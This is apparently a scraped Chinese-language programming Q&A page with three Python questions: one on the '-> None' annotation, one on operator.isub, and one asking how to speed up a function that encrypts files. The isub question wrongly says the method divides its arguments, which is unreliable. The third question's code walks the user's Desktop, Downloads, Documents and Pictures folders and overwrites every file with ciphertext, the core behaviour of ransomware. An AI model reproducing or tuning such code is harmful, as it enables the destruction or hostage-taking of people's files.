-> None当函数不返回任何内容时,这是一种编写的好习惯吗?
def nothing() -> None:
print("Hey I'm not returning anything!")
Run Code Online (Sandbox Code Playgroud) 在 operator 模块中,有一个方法叫做isub,它接受两个参数,并将第一个参数划分为第二个参数。
Visual Studio Code 说它这样做:与 a -= b 相同,如何?
在我的示例中,我创建了一个名为a5的变量,并将其赋值为 5,然后使用该isub方法,并将结果保存到一个变量中,然后打印结果和a,但a仍然是 5,为什么?
import operator
a = 5
result = operator.isub(a, 4)
print(result) # 1
print(a) # 5
Run Code Online (Sandbox Code Playgroud) 我有一个程序可以加密特定位置的文件。我为此构建了一个函数,它循环遍历存储我的文件的列表的长度,因此如果我有 12 个文件,它将循环 12 次。然后我循环遍历我的目录,打开每个文件以读取和写入字节并加密它们的数据并将其写入文件。
该函数工作正常,但我的问题是我的函数需要很长时间才能完成,我不知道为什么。
有什么方法可以提高我的功能的性能吗?
加密功能:
此功能需要很长时间才能完成。
def encrypt(self):
for _ in range(0, len(files())):
for file in files():
try:
with open(file, 'rb+') as f:
plain_text = f.read()
cipher_text = self.token.encrypt(plain_text)
f.seek(0); f.truncate()
f.write(cipher_text)
except Exception as e:
print(f'{e}')
Run Code Online (Sandbox Code Playgroud)
文件功能:
def files(pattern='*'):
matches = []
for root, dirnames, filenames in chain(os.walk(desktop_path), os.walk(downloads_path), os.walk(documents_path), os.walk(pictures_path)):
for filename in filenames:
full_path = os.path.join(root, filename)
if filter([full_path], pattern):
matches.append(os.path.join(root, filename))
return matches
Run Code Online (Sandbox Code Playgroud)